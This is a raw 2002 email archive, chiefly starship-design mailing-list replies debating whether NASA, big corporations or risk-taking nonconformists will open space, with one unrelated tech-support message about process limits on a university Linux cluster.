>Rather than asteroidal ore or Lunar ice, those spaces, and the hope they > >offer for vibrant growth and beneficial, if messy, change, are the most > >precious space resource. Their development is the standard by which space > >planning should be judged. Problem is there is no place in space unless you build it. And they must be big and therfore expensive. >From VM Tue Oct 15 11:51:34 2002 Content-Length: 558 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""558"" ""Saturday"" ""12"" ""October"" ""2002"" ""12:06:30"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""15"" ""Re: starship-design: Lawmen, Taxmen and Bureaucrats"" ""^From:"" nil nil ""10"" nil ""starship-design: Lawmen, Taxmen and Bureaucrats"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9CI7h3b005451 for ; Sat, 12 Oct 2002 11:07:43 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g9CI7hsS005449 for starship-design-outgoing; Sat, 12 Oct 2002 11:07:43 -0700 (PDT) Received: from bach.ccinet.ab.ca (bach.ccinet.ab.ca [198.161.96.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9CI7f3b005443 for ; Sat, 12 Oct 2002 11:07:42 -0700 (PDT) Received: from jetnet.ab.ca (gc-jet-221.jetnet.ab.ca [207.34.60.221]) by bach.ccinet.ab.ca (8.12.3/8.12.5) with ESMTP id g9CI8QoP045594 for ; Sat, 12 Oct 2002 12:08:28 -0600 (MDT) (envelope-from bfranchuk@jetnet.ab.ca) Message-ID: <3DA864A6.6080309@jetnet.ab.ca> User-Agent: Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.1) Gecko/20020826 X-Accept-Language: en,ja MIME-Version: 1.0 References: <32.2e855052.2ad9aed9@aol.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: Lawmen, Taxmen and Bureaucrats Date: Sat, 12 Oct 2002 12:06:30 -0600 > > Problem is there is no place in space unless you build it. And they must be > big and therfore expensive. > No space just shows how much that real living costs, provinding GREED is not involved. Space was never marketed for people living there, other wise we would have TRANSPORTATION to SPACE NOW! A good sci-anime is ""The wings of Honneamise"" that is about the first man in to space on a planet other than EARTH. This shows how complex it is to get into space. Until we FORCE people to thing of transportation first we will never go anywhere.",0,0 steven james ,ggilfoyl@richmond.edu,"Sat, 12 Oct 2002 09:27:46 -0400",Re: problem with University of Richmond cluster,"greetings, Apologies for the delay getting back to you. It appears that there are two ways to solve this problem. The first would be to re-compile the 2.2.x kernel with the task limit raised. That would certainly reduce the problem and provide for minimal disruption of the system. The other soloution to the problem is to upgrade to our new Nimbus distribution. Nimbus is based on the Los Alamos Clustermatic and uses the 2.4.19 kernel. 2.4.x naturally has a much larger task/thread limit since it's dependance on the size of a TSS segment has been removed. It is based on RedHat 7.2. Other improvements include a batch scheduling system, lighter weight system monitoring (with the same information available) and improvements in the automatic addition of new nodes. Further information is available from www.clustermatic.org. Please let me know if you have any questions and which way you want to go with this, and we can make necessary arrangements. G'day, sjames On Wed, 9 Oct 2002, gilfoyle wrote: > Hi Steven, > > I am one of the physicists from the University of Richmond (along > with Mike Vineyard) that is using the cluster you delivered to us > earlier this year. We have recently run into a problem which is > limiting our ability to make full use of the cluster. The problem is > the following. Until a couple of days ago we have never tried to run > multiple jobs on each slave node in the entire cluster. On Tuesday, > for the first time, I submitted 148 jobs evenly distributed among the > 48 slave nodes. After about 4-5 hours no more jobs were running, but I > noticed that only about 1/3 of the submitted jobs produced any usable > output. Today, I was running another large set of jobs and found I > could no longer run any new processes even from the command line of a > shell. For example, I would type in 'ls' and get back 'no more > processes'. It appears there is an upper limit on the number of > processes that can be run on the master. Once you exceed that limit it > looks like any new attempts to start a process are essentially > ignored. In submitting the full set of 148 jobs many were not run > because they would have exceeded this upper limit on the allowed > number of processes. Right now I can run no more than about 40 jobs on > the cluster without encountering this problem. This is fewer than one > job per slave node. Each job I submit starts three separate processes > so I am starting 120 processes. In searching the web, there are > discussions of this limitation and a solution (which involves building > a new kernel). The urls are below. I have also attached the scripts I > am using to do the data analysis (one shell script and one perl > script). Any help you can provide would be greatly appreciated. > > Thanks-in-advance, > > Jerry Gilfoyle > > http://www.ltsp.org/documentation/lts_ig_v2.4/lts_ig_v2.4-14.html > > http://www.geocrawler.com/archives/3/61/1998/10/0/2207294/ > > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 """L. Parker"" ","KellySt@aol.com, starship-design@lists.uoregon.edu","Sat, 12 Oct 2002 14:20:07 -0500","RE: starship-design: Lawmen, Taxmen and Bureaucrats","Hey Kelly, Glad to see some of us are still around. > -----Original Message----- > From: KellySt@aol.com [mailto:KellySt@aol.com] > Sent: Saturday, October 12, 2002 11:59 AM > To: lparker@cacaphony.net; starship-design@lists.uoregon.edu > Subject: Re: starship-design: Lawmen, Taxmen and Bureaucrats > > In a message dated 10/12/02 10:30:39 AM, lparker@cacaphony.net writes: > > >OPINION SPACE > > > > > > > >Lawmen, Taxmen and Bureaucrats > > > >The Spacefaring Web 2.17 > > Agree with a lot of thios but he missed a big point. NASA > and the other > programs didn't fail to evolve. They were designed as one > shot ""money is no > object"" race programs. Expecting them to evolve into a > program fostering > commercial development, or opening th final frounteer, is > like rexpecting a > Indy racer to evolve into family sedan. I don't think he ""missed"" the point, but you are on track about its original genesis and goal. Which is the point, it was a bureaucracy established to accomplish one thing only, which it did very well. However, the nature of bureaucracies is not to evolve, but to grow and protect themselves. The analogy of the Indy racer and the family sedan was very apt. Each represents a separate entity, not an evolution of one into the other. Granted, much of what is learned from Indy racing eventually get incorporated into the family sedan. The engine in my truck began life as a race car engine design. Which is what should have happened (and still should) to NASA. It should be the one testing the technologies that no company feels comfortable putting in to the family sedan. > NASA responds to congress, and comerce isn't their busness. > Further, it > would so overshadow them, as to doom them back to a > technolygy reseach > agency. So they don't really want to support it. No, commerce per se, is not the business of Congress. Protecting commerce and furthering commerce on the other hand, IS the business of Congress. As such, perhaps what is needed is to put space transportation (as opposed to research) into the hands of a different government agency, like maybe the DOT or FAA or some such. Note, that I am not saying that they will physically run the shuttle fleet, merely administer its operations. The actual ownership and day to day running should lie in the hands of private industry. Of course, this assumes that ANY agency will be interested in promoting access to space, see my point further below about the government's vested interest in denying ANYBODY access. > NASA is about providing political specticals, not commerce - > science - or economic growth. All to true, which is what I was saying above. Of course, they are under directions from Congress to provide these spectacles. NASA's mission is ultimately designed by Congress. So if NASA's mission in snot what it should be, we have only ourselves to blame. > True. A major commercial, or competeing government, launch > program would > cost them turf. > NASA is about providing political specticals, they can't do > that if they ae > just one of many in space doing the same kinds of things; and > they don't want > to take the chance of doing something new and risky on the > frouteers of space > or technology. Again, this is Congress. Keeping other countries, and by extension, private industry, out of space access effectively allows are government to control the high ground. Unrestricted access would make it almost impossible to guarantee the security of our country, our ""turf"", but not in the sense that you meant it... > >It is simply unimaginable that beneficial outcomes could > occur otherwise: > > > >the hand of undirected market forces is not just invisible, it is > > > >inconceivable. Where the entrepreneur sees a vibrant marketplace, the > > > >planner sees a terrifying chaos. The land beyond the plan is > a place clearly > > > >marked ""here there be dragons."" > > This however is often the view of politicians - who love such > planing, or the > public - who fears the chaos as well. Prefers safty. Well, the entrepreneur thrives in chaos, because with chaos comes opportunity, as well as danger. The public (as an entity) on the other hand fears chaos for danger it brings, it wants only safety, which is ultimately dichotic because the entrepreneurs that embrace at the individual level are part of the larger entity that fears it. Naturally, the government, whose responsibility it is to see to the public safety also fears the chaos. This is ultimately self defeating because the better a job they do of protecting us from this chaos, the less healthy the system as a whole becomes. The chaos is necessary for a healthy and thriving society and a society where it doesn't exist in sufficient measure eventually collapses. > >A spacefaring civilization will not be the fruit of NASA > >Five-Year Plans,nor of incremental progress by Big Aerospace. > >It will be the product of an open frontier or it will come not > >at all. > > > >The American frontier was not settled by the government, > with cowboys and farmers trotting behind an army of county > >clerks and safety inspectors. > > > >Restless explorers, military scouts, resource speculators, > >malcontents who couldn't abide the strictures of ossifying > >Eastern cities - they were first to the West. Hobbyists, > >hackers and pornographers pioneered the Internet long before > >AOL made it family-friendly. > > > >That means that our future in space will not be built by > people that the planner, the guaranteed-return investor and the > >moral traditionalist will easily approve of. It will be built > >by dropouts, crooks, pirates, gamblers and misfits, same as any > >other frontier. And it will be built only in the absence of laws, > >regulations and government plans made here on Earth. Their > >presence, so reassuring to the cost-plus contractor and prissy > >schoolmarm, is anathema to innovators in business, politics and > >culture. > > Of course it was the military that developed and built the > internet. Banks > and industry that made the conputers and telecomunication > gear. No hackers > using equipment they built themselves opened the digital > frounteer. They > were just like the ""pioneers"" who settled the west after the > towns weer > built, regular railroad service established, and tons of dime > novels and > woild west shows popularized the ""wind west"". > > The real follks opening space won't be mountain men in furs, > or pioneers in > conastoga wagons. No lone prospectors with a mule and a pan. > It'll have to > be mega corps that can put up the money for the fleets and > the platforms in > space. And they will demand and enforce you major laws. I think you missed the point here entirely, chiefly because you got caught up in what you perceived as an error in what was after all, only an analogy. His point in this analogy was not that the Internet was built by hackers, but rather pioneered by them. They caused the change and growth in DARPANET into what is now the Internet. But that isn't really relevant to what he was trying to say. The thrust of what he was saying agrees with and reinforces what you said above about NASA. When NASA was first established, it was populated by just the sort of ""dropouts, crooks, pirates, gamblers and misfits"" that he is talking about. No they weren't actually those sorts of people, but that represents the character traits essential to risk takers. True, these risk takers also possessed brains, guts, determination and discipline in varying degrees, but they weren't bureaucrats (yet). Risk taking, and the inevitable accidents that went with it were expected - not encouraged mind you - but expected. Today's NASA is a whole different animal. Risk taking is anathema at NASA. Even looking like you once had a reckless brain cell is bad news there. NASA will not and indeed cannot ever be the vehicle for moving us into space. The very lack of risk taking in their corporate culture and in their mandate from Congress guarantees that it will never happen. What they can do and should be doing, is research. Building and testing the technology necessary for others to do what NASA cannot. On the other hand, the entity, be it an individual, a corporation or whatever, that does move us into space must resemble his list of ""dropouts, crooks, pirates, gamblers and misfits"", whatever they may actually be. Without the traits that make those people what they are, even a mega corporation is not going to be able to do the job. Although the point you make about the amounts of money required are correct and almost require the backing of large multinationals, the corporate ethic that drives such corporations is even more of a risk suppressor than what NASA is experiencing. Which explains why few mega corporations are willing to get into the space game except in a peripheral way. Lee >From VM Tue Oct 15 11:51:36 2002 Content-Length: 12212 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""12212"" ""Saturday"" ""12"" ""October"" ""2002"" ""19:06:25"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""308"" ""Re: starship-design: Lawmen, Taxmen and Bureaucrats"" ""^From:"" nil nil ""10"" nil ""starship-design: Lawmen, Taxmen and Bureaucrats"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9CN6a3b003418 for ; Sat, 12 Oct 2002 16:06:36 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g9CN6ZB1003417 for starship-design-outgoing; Sat, 12 Oct 2002 16:06:35 -0700 (PDT) Received: from imo-m04.mx.aol.com (imo-m04.mx.aol.com [64.12.136.7]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9CN6Y3b003410 for ; Sat, 12 Oct 2002 16:06:35 -0700 (PDT) Received: from KellySt@aol.com by imo-m04.mx.aol.com (mail_out_v34.13.) id 4.147.4a5b8f (2168); Sat, 12 Oct 2002 19:06:25 -0400 (EDT) Message-ID: <147.4a5b8f.2ada04f1@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: starship-design: Lawmen, Taxmen and Bureaucrats Date: Sat, 12 Oct 2002 19:06:25 EDT In a message dated 10/12/02 3:21:31 PM, lparker@cacaphony.net writes: >Hey Kelly, > >Glad to see some of us are still around. Still hanging in ther -- and answering mail from the web site. ;) >> -----Original Message----- >> From: KellySt@aol.com [mailto:KellySt@aol.com] >> Sent: Saturday, October 12, 2002 11:59 AM >> To: lparker@cacaphony.net; starship-design@lists.uoregon.edu >> Subject: Re: starship-design: Lawmen, Taxmen and Bureaucrats >> >> In a message dated 10/12/02 10:30:39 AM, lparker@cacaphony.net writes: >> >> >OPINION SPACE >> > >> > >> > >> >Lawmen, Taxmen and Bureaucrats >> > >> >The Spacefaring Web 2.17 >> >> Agree with a lot of thios but he missed a big point. NASA >> and the other >> programs didn't fail to evolve. They were designed as one >> shot ""money is no >> object"" race programs. Expecting them to evolve into a >> program fostering >> commercial development, or opening th final frounteer, is >> like rexpecting a >> Indy racer to evolve into family sedan. > >I don't think he ""missed"" the point, but you are on track about its original >genesis and goal. Which is the point, it was a bureaucracy established >to accomplish one thing only, which it did very well. However, the nature >of bureaucracies is not to evolve, but to grow and protect themselves. Turf wars as the true faith!! ;) >The analogy of the Indy racer and the family sedan was very apt. ;) >Each represents a separate entity, not an evolution of one into the other. >Granted, much of what is learned from Indy racing eventually get >incorporated into the family sedan. The engine in my truck began life as >a race car engine design. Which is what should have happened (and still >should) to NASA. It should be the one testing the technologies that no >company feels comfortable putting in to the family sedan. NASA, or rather NACA, was a increadable aeronautical research agency that made huge advances in aeronautics. But that was a long time ago, and NASA as spectical producer with little if any time for such research, has been the rule since it formed. Personally I badly want NASA forced out of the space launch busness. Turn Kennedy over to the FAA or Florida or something. Contract launch services to commerce launch companies etc. Get back just into reseach, aeronautical or space related. Not that NASA wouldn't fight tooth and nail to stop that. >> NASA responds to congress, and comerce isn't their busness. >> Further, it >> would so overshadow them, as to doom them back to a >> technolygy reseach >> agency. So they don't really want to support it. > >No, commerce per se, is not the business of Congress. Protecting commerce >and furthering commerce on the other hand, IS the business of Congress. Na, there job is getting reelected. ;) >As such, perhaps what is needed is to put space transportation (as opposed >to research) into the hands of a different government agency, like maybe the >DOT or FAA or some such. Note, that I am not saying that they will >physically run the shuttle fleet, merely administer its operations. The >actual ownership and day to day running should lie in the hands of private >industry. Agree, basicaly your looking at FAA teratory. >Of course, this assumes that ANY agency will be interested in promoting >access to space, see my point further below about the government's vested >interest in denying ANYBODY access. > > >> NASA is about providing political specticals, not commerce - >> science - or economic growth. > >All to true, which is what I was saying above. Of course, they are under >directions from Congress to provide these spectacles. NASA's mission is >ultimately designed by Congress. So if NASA's mission in snot what it should >be, we have only ourselves to blame. Agreed. >> True. A major commercial, or competeing government, launch >> program would >> cost them turf. >> NASA is about providing political specticals, they can't do >> that if they ae >> just one of many in space doing the same kinds of things; and >> they don't want >> to take the chance of doing something new and risky on the >> frouteers of space >> or technology. > >Again, this is Congress. Keeping other countries, and by extension, private >industry, out of space access effectively allows are government to control >the high ground. Unrestricted access would make it almost impossible to >guarantee the security of our country, our ""turf"", but not in the sense >that you meant it... Except its not the military that trying to restrict access, but NASA. NASA even tried to force the military out of space. Thou the Clinton Whitehouse did squelch space launcher research specifically to limit access for security reasons. >> >It is simply unimaginable that beneficial outcomes could >> occur otherwise: >> > >> >the hand of undirected market forces is not just invisible, it is >> > >> >inconceivable. Where the entrepreneur sees a vibrant marketplace, the >> > >> >planner sees a terrifying chaos. The land beyond the plan is >> a place clearly >> > >> >marked ""here there be dragons."" >> >> This however is often the view of politicians - who love such >> planing, or the >> public - who fears the chaos as well. Prefers safty. > >Well, the entrepreneur thrives in chaos, because with chaos comes >opportunity, as well as danger. The public (as an entity) on the other >hand >fears chaos for danger it brings, it wants only safety, which is ultimately >dichotic because the entrepreneurs that embrace at the individual level >are part of the larger entity that fears it. Naturally, the government, whose >responsibility it is to see to the public safety also fears the chaos. > >This is ultimately self defeating because the better a job they do of >protecting us from this chaos, the less healthy the system as a whole >becomes. The chaos is necessary for a healthy and thriving society and >a society where it doesn't exist in sufficient measure eventually collapses. Reminds me of a old quote that society reveers living conformists and dead successful revolutionarys. ;) Folks want peace quiet, and prosperity. Course to get that someone had turn things upside down for a while. >> >A spacefaring civilization will not be the fruit of NASA >> >Five-Year Plans,nor of incremental progress by Big Aerospace. >> >It will be the product of an open frontier or it will come not >> >at all. >> > >> >The American frontier was not settled by the government, >> with cowboys and farmers trotting behind an army of county >> >clerks and safety inspectors. >> > >> >Restless explorers, military scouts, resource speculators, >> >malcontents who couldn't abide the strictures of ossifying >> >Eastern cities - they were first to the West. Hobbyists, >> >hackers and pornographers pioneered the Internet long before >> >AOL made it family-friendly. >> > >> >That means that our future in space will not be built by >> people that the planner, the guaranteed-return investor and the >> >moral traditionalist will easily approve of. It will be built >> >by dropouts, crooks, pirates, gamblers and misfits, same as any >> >other frontier. And it will be built only in the absence of laws, >> >regulations and government plans made here on Earth. Their >> >presence, so reassuring to the cost-plus contractor and prissy >> >schoolmarm, is anathema to innovators in business, politics and >> >culture. >> >> Of course it was the military that developed and built the >> internet. Banks >> and industry that made the conputers and telecomunication >> gear. No hackers >> using equipment they built themselves opened the digital >> frounteer. They >> were just like the ""pioneers"" who settled the west after the >> towns weer >> built, regular railroad service established, and tons of dime >> novels and >> woild west shows popularized the ""wind west"". >> >> The real follks opening space won't be mountain men in furs, >> or pioneers in >> conastoga wagons. No lone prospectors with a mule and a pan. >> It'll have to >> be mega corps that can put up the money for the fleets and >> the platforms in >> space. And they will demand and enforce you major laws. > >I think you missed the point here entirely, chiefly because you got caught >up in what you perceived as an error in what was after all, only an analogy. >His point in this analogy was not that the Internet was built by hackers, >but rather pioneered by them. They caused the change and growth in DARPANET >into what is now the Internet. > >But that isn't really relevant to what he was trying to say. The thrust of >what he was saying agrees with and reinforces what you said above about >NASA. When NASA was first established, it was populated by just the sort >of ""dropouts, crooks, pirates, gamblers and misfits"" that he is talking about. ;/ No, it was populated by a bunch of senior engineers in shirts ties and crew cuts. Very conformist experts in their fields with years of good performance in industries. I.E. mega governments contracting to mega corps. Hell even the Astrounauts found they wanted squeeky clean more then great pilots. They guys they first hired wern't as squeeky cleen as they would heve liked, but they weer the most confirmist they could get out of the test pilot corps of the air force, and they put a lot of effort to push and test them to make sure they . Later more ""correct"" astrounauts were selected. >No they weren't actually those sorts of people, but that represents the >character traits essential to risk takers. True, these risk takers also >possessed brains, guts, determination and discipline in varying degrees, >but >they weren't bureaucrats (yet). Risk taking, and the inevitable accidents >that went with it were expected - not encouraged mind you - but expected. They we're risk takers by order not inclination. They hated being pushed out to the frounteer. They were however very skilled, and often >Today's NASA is a whole different animal. Risk taking is anathema at NASA. >Even looking like you once had a reckless brain cell is bad news there. NASA >will not and indeed cannot ever be the vehicle for moving us into space. The >very lack of risk taking in their corporate culture and in their mandate >from Congress guarantees that it will never happen. What they can do and >should be doing, is research. Building and testing the technology necessary >for others to do what NASA cannot. > >On the other hand, the entity, be it an individual, a corporation or >whatever, that does move us into space must resemble his list of ""dropouts, >crooks, pirates, gamblers and misfits"", whatever they may actually be. >Without the traits that make those people what they are, even a mega >corporation is not going to be able to do the job. > >Although the point you make about the amounts of money required are correct >and almost require the backing of large multinationals, the corporate ethic >that drives such corporations is even more of a risk suppressor than what >NASA is experiencing. Which explains why few mega corporations are willing >to get into the space game except in a peripheral way. > > >Lee I've seen mega-corps drill for oil in the deep ocean, in the arctic, etc. Do mines in the tops of mountains, deeps of jjungles, etc. Corps are quite willing and able to take risk and handel frounteers. Even hire some real characters to work out there. BUT -- they need to see money at the end of it. So far there is nothing out there thats a real draw. The focus of the origional editorial seemed to be that it would not / could not be the big powerfull corps or organizations, but would be radical nonconformists. Folks like the individuals who went out on their own and pioneered the west on the lawless frounteer. But it is the big corps and organizations, with their demands for reasonable order, that pioneer on the kind of nasty frounteers we do now on earth, or will do in space. They won't be crooks and pirates, because such folk get each other killed and are to much trouble to put up with. They will be agressive, arogent, probably often not real polite, or not conformists. But not exactly crooks or pirates. Kelly >From VM Tue Oct 15 11:51:36 2002 Content-Length: 2697 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2697"" ""Saturday"" ""12"" ""October"" ""2002"" ""19:28:35"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""67"" ""RE: starship-design: Lawmen, Taxmen and Bureaucrats"" ""^From:"" nil nil ""10"" nil ""starship-design: Lawmen, Taxmen and Bureaucrats"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9D0Sv3b027740 for ; Sat, 12 Oct 2002 17:28:57 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g9D0Svdu027738 for starship-design-outgoing; Sat, 12 Oct 2002 17:28:57 -0700 (PDT) Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9D0Su3b027720 for ; Sat, 12 Oct 2002 17:28:56 -0700 (PDT) Received: from user121.net241.fl.sprint-hsd.net ([64.45.208.121] helo=broadsword) by gull.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 180Wcp-00048z-00; Sat, 12 Oct 2002 17:28:55 -0700 Message-ID: <002a01c2724f$784f7010$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 In-Reply-To: <147.4a5b8f.2ada04f1@aol.com> Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: , Subject: RE: starship-design: Lawmen, Taxmen and Bureaucrats Date: Sat, 12 Oct 2002 19:28:35 -0500 > -----Original Message----- > From: KellySt@aol.com [mailto:KellySt@aol.com] > Sent: Saturday, October 12, 2002 6:06 PM > To: lparker@cacaphony.net; starship-design@lists.uoregon.edu > Subject: Re: starship-design: Lawmen, Taxmen and Bureaucrats > > > In a message dated 10/12/02 3:21:31 PM, lparker@cacaphony.net writes: > > >Hey Kelly, > > > >Glad to see some of us are still around. > > Still hanging in ther -- and answering mail from the web site. ;) Yeah I've noticed that dead or not, it still gets the occasional hit. Wish one of us had time to burn... > > I've seen mega-corps drill for oil in the deep ocean, in the > arctic, etc. Do > mines in the tops of mountains, deeps of jjungles, etc. > > Corps are quite willing and able to take risk and handel > frounteers. Even > hire some real characters to work out there. BUT -- they > need to see money > at the end of it. So far there is nothing out there thats a > real draw. Gee, Kelly, you agreed and disagreed in the same sentence! Well almost the same sentence...yes the mega corps do take risks, very calculated, quantified, limited, demarcated .... but still, risks. That is not quite the same as sending a mission after an asteroid that might, MIGHT, have unimaginable riches inside it, and maybe, MAYBE being able to extract them. Losing a man to a construction site accident on a drilling platform barely makes headlines, just an obit. Losing a man on an asteroid extraction operation would just about put the company out of business. Not the same risk at all. > > The focus of the origional editorial seemed to be that it > would not / could > not be the big powerfull corps or organizations, but would be radical > nonconformists. Folks like the individuals who went out on > their own and > pioneered the west on the lawless frounteer. But it is the > big corps and > organizations, with their demands for reasonable order, that > pioneer on the > kind of nasty frounteers we do now on earth, or will do in > space. They won't > be crooks and pirates, because such folk get each other > killed and are to > much trouble to put up with. They will be agressive, > arogent, probably often > not real polite, or not conformists. But not exactly crooks > or pirates. You mean people like Rutan, Benson, Kelly and Kistler don't qualify? Gee, you just broke my romantic heart . Seriously, I think you were taking his reference to rogues, pirates and misfits a little too literally. It may well end up being some mega corp that leads the drive into space, but there will a person or people in charge of that corp who have that spirit he was talking about. I just wish them luck with the board of directors... Lee >From VM Tue Oct 15 11:51:41 2002 Content-Length: 3245 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""3245"" ""Sunday"" ""13"" ""October"" ""2002"" ""11:50:10"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""105"" ""Re: starship-design: Lawmen, Taxmen and Bureaucrats"" ""^From:"" nil nil ""10"" nil ""starship-design: Lawmen, Taxmen and Bureaucrats"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9DFoK3b018026 for ; Sun, 13 Oct 2002 08:50:20 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g9DFoKTu018025 for starship-design-outgoing; Sun, 13 Oct 2002 08:50:20 -0700 (PDT) Received: from imo-d08.mx.aol.com (imo-d08.mx.aol.com [205.188.157.40]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9DFoJ3b018010 for ; Sun, 13 Oct 2002 08:50:19 -0700 (PDT) Received: from KellySt@aol.com by imo-d08.mx.aol.com (mail_out_v34.13.) id 4.14d.15bd2b15 (2168); Sun, 13 Oct 2002 11:50:10 -0400 (EDT) Message-ID: <14d.15bd2b15.2adaf032@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: starship-design: Lawmen, Taxmen and Bureaucrats Date: Sun, 13 Oct 2002 11:50:10 EDT In a message dated 10/12/02 8:29:26 PM, lparker@cacaphony.net writes: >> >Hey Kelly, >> > >> >Glad to see some of us are still around. >> >> Still hanging in ther -- and answering mail from the web site. ;) > >Yeah I've noticed that dead or not, it still gets the occasional hit. Wish >one of us had time to burn... Yeah. Should do something with it. :( >> I've seen mega-corps drill for oil in the deep ocean, in the >> arctic, etc. Do >> mines in the tops of mountains, deeps of jjungles, etc. >> >> Corps are quite willing and able to take risk and handel >> frounteers. Even >> hire some real characters to work out there. BUT -- they >> need to see money >> at the end of it. So far there is nothing out there thats a >> real draw. > >Gee, Kelly, you agreed and disagreed in the same sentence! Well almost >the >same sentence...yes the mega corps do take risks, very calculated, >quantified, limited, demarcated .... but still, risks. That is not quite >the >same as sending a mission after an asteroid that might, MIGHT, have >unimaginable riches inside it, and maybe, MAYBE being able to extract them. >Losing a man to a construction site accident on a drilling platform barely >makes headlines, just an obit. Losing a man on an asteroid extraction >operation would just about put the company out of business. Not the same >risk at all. If it would cost that much, the thing could be made of gold and still be worthless. Companies risking their existence on the next big deal is more common then you think. Its almost the rule in aerospace. Its why aerospace is considered such a risky game to play. >> The focus of the origional editorial seemed to be that it >> would not / could >> not be the big powerfull corps or organizations, but would be radical >> nonconformists. Folks like the individuals who went out on >> their own and >> pioneered the west on the lawless frounteer. But it is the >> big corps and >> organizations, with their demands for reasonable order, that >> pioneer on the >> kind of nasty frounteers we do now on earth, or will do in >> space. They won't >> be crooks and pirates, because such folk get each other >> killed and are to >> much trouble to put up with. They will be agressive, >> arogent, probably often >> not real polite, or not conformists. But not exactly crooks >> or pirates. > >You mean people like Rutan, Benson, Kelly and Kistler don't qualify? Gee, >you just broke my romantic heart . Na not even close. ;) >Seriously, I think you were taking >his >reference to rogues, pirates and misfits a little too literally. Given he went on to a long rambling salute to the glories of lawlessness and chaos, to the point of almost suggesting ruthless criminals are cool, I think I should? >It may >well >end up being some mega corp that leads the drive into space, but there >will >a person or people in charge of that corp who have that spirit he was >talking about. I just wish them luck with the board of directors... > >Lee I think we agree more then he would have. ;) Yes, its going to be won by folks backed by executivs with a lot of guts, and enough charisma to get folks to sign over a few billion bucks to be a part of that dream. ;) Kelly >From VM Thu Oct 17 11:18:30 2002 Content-Length: 2011 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2011"" ""Thursday"" ""17"" ""October"" ""2002"" ""11:46:44"" ""+0100"" ""Peter \\\\(Sci\\\\)"" ""scifox@asylum30.freeserve.co.uk"" nil ""39"" ""starship-design: Refueling"" ""^From:"" nil nil ""10"" nil ""starship-design: Refueling"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9HAkaVf016225 for ; Thu, 17 Oct 2002 03:46:36 -0700 (PDT) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id g9HAka56016222 for starship-design-outgoing; Thu, 17 Oct 2002 03:46:36 -0700 (PDT) Received: from cmailg2.svr.pol.co.uk (cmailg2.svr.pol.co.uk [195.92.195.172]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id g9HAkUVf016198 for ; Thu, 17 Oct 2002 03:46:34 -0700 (PDT) Received: from modem-967.bonobo.dialup.pol.co.uk ([217.134.51.199] helo=kat) by cmailg2.svr.pol.co.uk with smtp (Exim 3.35 #1) id 1828Aa-0000bI-00 for starship-design@lists.uoregon.edu; Thu, 17 Oct 2002 11:46:25 +0100 Message-ID: <001f01c275ca$7cd0d6a0$c73386d9@kat> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" 